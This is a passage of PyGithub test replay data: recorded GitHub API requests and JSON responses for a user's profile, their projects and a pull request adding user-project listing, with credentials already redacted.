)"},{"sha":"abf285c93baf2ac1c8caa028468e87d769debec3","filename":"tests/ReplayData/NamedUser1430.setUp.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/mawkee/PyGithub/blob/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/ReplayData/NamedUser1430.setUp.txt","raw_url":"https://github.com/mawkee/PyGithub/raw/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/ReplayData/NamedUser1430.setUp.txt","contents_url":"https://api.github.com/repos/mawkee/PyGithub/contents/tests/ReplayData/NamedUser1430.setUp.txt?ref=e44d11d565c022496544dd6ed1f19a8d718c2b0c","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/users/ahhda\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+None\n+200\n+[('Date', 'Mon, 09 Mar 2020 20:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1583787082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/\"df3f26811bc0b8e004078ee4dff56831\"'), ('Last-Modified', 'Mon, 09 Mar 2020 18:51:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', \"default-src 'none'\"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE65:5225:24E50A:307321:5E66A451')]\n+{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false,\"name\":\"Anuj Bansal\",\"company\":null,\"blog\":\"https://ahhda.github.io/\",\"location\":null,\"email\":\"bansalanuj1996@gmail.com\",\"hireable\":true,\"bio\":null,\"public_repos\":40,\"public_gists\":5,\"followers\":23,\"following\":58,\"created_at\":\"2014-06-04T15:57:45Z\",\"updated_at\":\"2020-03-09T18:51:05Z\",\"private_gists\":4,\"total_private_repos\":36,\"owned_private_repos\":31,\"disk_usage\":226412,\"collaborators\":10,\"two_factor_authentication\":false,\"plan\":{\"name\":\"pro\",\"space\":976562499,\"collaborators\":0,\"private_repos\":9999}}\n+"},{"sha":"124064632e4c370a8e486668cff33129d378115e","filename":"tests/ReplayData/NamedUser1430.testGetProjects.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/mawkee/PyGithub/blob/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/ReplayData/NamedUser1430.testGetProjects.txt","raw_url":"https://github.com/mawkee/PyGithub/raw/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/ReplayData/NamedUser1430.testGetProjects.txt","contents_url":"https://api.github.com/repos/mawkee/PyGithub/contents/tests/ReplayData/NamedUser1430.testGetProjects.txt?ref=e44d11d565c022496544dd6ed1f19a8d718c2b0c","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/users/ahhda/projects?state=all\n+{'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+None\n+200\n+[('Date', 'Mon, 09 Mar 2020 20:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1583787083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/\"14effeef315c8c569963ae39adc9619a\"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', \"default-src 'none'\"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE66:638B:8DED89:B5F000:5E66A451')]\n+[{\"owner_url\":\"https://api.github.com/users/ahhda\",\"url\":\"https://api.github.com/projects/4083095\",\"html_url\":\"https://github.com/users/ahhda/projects/1\",\"columns_url\":\"https://api.github.com/projects/4083095/columns\",\"id\":4083095,\"node_id\":\"MDc6UHJvamVjdDQwODMwOTU=\",\"name\":\"My project 1\",\"body\":\"The body\",\"number\":1,\"state\":\"closed\",\"creator\":{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false},\"created_at\":\"2020-03-09T14:15:48Z\",\"updated_at\":\"2020-03-09T19:00:07Z\"},{\"owner_url\":\"https://api.github.com/users/ahhda\",\"url\":\"https://api.github.com/projects/4083137\",\"html_url\":\"https://github.com/users/ahhda/projects/2\",\"columns_url\":\"https://api.github.com/projects/4083137/columns\",\"id\":4083137,\"node_id\":\"MDc6UHJvamVjdDQwODMxMzc=\",\"name\":\"My project 12\",\"body\":\"The body\",\"number\":2,\"state\":\"closed\",\"creator\":{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false},\"created_at\":\"2020-03-09T14:20:51Z\",\"updated_at\":\"2020-03-09T19:00:04Z\"},{\"owner_url\":\"https://api.github.com/users/ahhda\",\"url\":\"https://api.github.com/projects/4084607\",\"html_url\":\"https://github.com/users/ahhda/projects/3\",\"columns_url\":\"https://api.github.com/projects/4084607/columns\",\"id\":4084607,\"node_id\":\"MDc6UHJvamVjdDQwODQ2MDc=\",\"name\":\"TestPyGithub\",\"body\":\"This is the body\",\"number\":3,\"state\":\"closed\",\"creator\":{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false},\"created_at\":\"2020-03-09T18:51:05Z\",\"updated_at\":\"2020-03-09T19:00:01Z\"},{\"owner_url\":\"https://api.github.com/users/ahhda\",\"url\":\"https://api.github.com/projects/4084610\",\"html_url\":\"https://github.com/users/ahhda/projects/4\",\"columns_url\":\"https://api.github.com/projects/4084610/columns\",\"id\":4084610,\"node_id\":\"MDc6UHJvamVjdDQwODQ2MTA=\",\"name\":\"TestPyGithub\",\"body\":\"This is the body\",\"number\":4,\"state\":\"closed\",\"creator\":{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false},\"created_at\":\"2020-03-09T18:51:19Z\",\"updated_at\":\"2020-03-09T18:59:57Z\"},{\"owner_url\":\"https://api.github.com/users/ahhda\",\"url\":\"https://api.github.com/projects/4084664\",\"html_url\":\"https://github.com/users/ahhda/projects/5\",\"columns_url\":\"https://api.github.com/projects/4084664/columns\",\"id\":4084664,\"node_id\":\"MDc6UHJvamVjdDQwODQ2NjQ=\",\"name\":\"My new project\",\"body\":\"This is the body\",\"number\":5,\"state\":\"open\",\"creator\":{\"login\":\"ahhda\",\"id\":7795956,\"node_id\":\"MDQ6VXNlcjc3OTU5NTY=\",\"avatar_url\":\"https://avatars2.githubusercontent.com/u/7795956?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/ahhda\",\"html_url\":\"https://github.com/ahhda\",\"followers_url\":\"https://api.github.com/users/ahhda/followers\",\"following_url\":\"https://api.github.com/users/ahhda/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/ahhda/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/ahhda/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/ahhda/subscriptions\",\"organizations_url\":\"https://api.github.com/users/ahhda/orgs\",\"repos_url\":\"https://api.github.com/users/ahhda/repos\",\"events_url\":\"https://api.github.com/users/ahhda/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/ahhda/received_events\",\"type\":\"User\",\"site_admin\":false},\"created_at\":\"2020-03-09T19:00:36Z\",\"updated_at\":\"2020-03-09T19:00:36Z\"}]\n+"}]} https GET api.github.com None /repos/mawkee/PyGithub/commits/e44d11d565c022496544dd6ed1f19a8d718c2b0c/pulls {'Accept': 'application/vnd.github.groot-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Mar 2020 18:31:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4869'), ('X-RateLimit-Reset', '1583954142'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"161af680a1b955e594d6b87eaa77a1c5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.groot-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5F8:57D5:4013D:5B5C0:5E692E70')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431","id":385799287,"node_id":"MDExOlB1bGxSZXF1ZXN0Mzg1Nzk5Mjg3","html_url":"https://github.com/PyGithub/PyGithub/pull/1431","diff_url":"https://github.com/PyGithub/PyGithub/pull/1431.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/1431.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1431","number":1431,"state":"closed","locked":false,"title":"Add support for list user projects","user":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"body":"Implements list user project part of https://github.com/PyGithub/PyGithub/issues/606#issuecomment-595864374\r\n\r\n### Manual testing:\r\n![Screenshot 2020-03-10 at 1 52 53 AM](https://user-images.githubusercontent.com/7795956/76254103-e1f55680-6271-11ea-9f08-6bb1964c4fa3.png)\r\n","created_at":"2020-03-09T20:23:21Z","updated_at":"2020-03-11T01:40:27Z","closed_at":"2020-03-11T01:40:26Z","merged_at":"2020-03-11T01:40:26Z","merge_commit_sha":"e44d11d565c022496544dd6ed1f19a8d718c2b0c","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1431/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/21a6dfef170b2bdcf33dda731ad3a3e9681cffbe","head":{"label":"ahhda:list_user_projects","ref":"list_user_projects","sha":"21a6dfef170b2bdcf33dda731ad3a3e9681cffbe","user":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"repo":{"id":245464332,"node_id":"MDEwOlJlcG9zaXRvcnkyNDU0NjQzMzI=","name":"PyGithub","full_name":"ahhda/PyGithub","private":false,"owner":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"html_url":"https://github.com/ahhda/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/ahhda/PyGithub","forks_url":"https://api.github.com/repos/ahhda/PyGithub/forks","keys_url":"https://api.github.com/repos/ahhda/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ahhda/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ahhda/PyGithub/teams","hooks_url":"https://api.github.com/repos/ahhda/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/ahhda/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/ahhda/PyGithub/events","assignees_url":"https://api.github.com/repos/ahhda/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/ahhda/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/ahhda/PyGithub/tags","blobs_url":"https://api.github.com/repos/ahhda/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ahhda/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ahhda/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/ahhda/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ahhda/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/ahhda/PyGithub/languages","stargazers_url":"https://api.github.com/repos/ahhda/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/ahhda/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/ahhda/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/ahhda/PyGithub/subscription","commits_url":"https://api.github.com/repos/ahhda/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/ahhda/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/ahhda/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/ahhda/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/ahhda/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/ahhda/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ahhda/PyGithub/merges","archive_url":"https://api.github.com/repos/ahhda/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ahhda/PyGithub/downloads","issues_url":"https://api.github.com/repos/ahhda/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/ahhda/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/ahhda/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/ahhda/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ahhda/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/ahhda/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/ahhda/PyGithub/deployments","created_at":"2020-03-06T16:12:46Z","updated_at":"2020-03-09T10:31:46Z","pushed_at":"2020-03-10T14:55:35Z","git_url":"git://github.com/ahhda/PyGithub.git","ssh_url":"git@github.com:ahhda/PyGithub.git","clone_url":"https://github.com/ahhda/PyGithub.git","svn_url":"https://github.com/ahhda/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12540,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"b1c35499f4a97e71faa142e376fbea9488362679","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-03-11T14:41:36Z","pushed_at":"2020-03-11T01:40:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12540,"stargazers_count":3259,"watchers_count":3259,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1058,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":48,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1058,"open_issues":48,"watchers":3259,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/1431"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1431"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1431/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1431/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/21a6dfef170b2bdcf33dda731ad3a3e9681cffbe"}},"author_association":"CONTRIBUTOR"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitCombinedStatus.setUp.txt0000644000175100001660000006712714756101563024130 0ustar00runnerdockerhttps GET api.github.com None /repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '18854'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '593010132f82159af0ded24b4932e109'), ('x-oauth-scopes', 'notifications, public_repo, read:org, read:public_key, read:repo_hook, repo:status, repo_deployment'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), 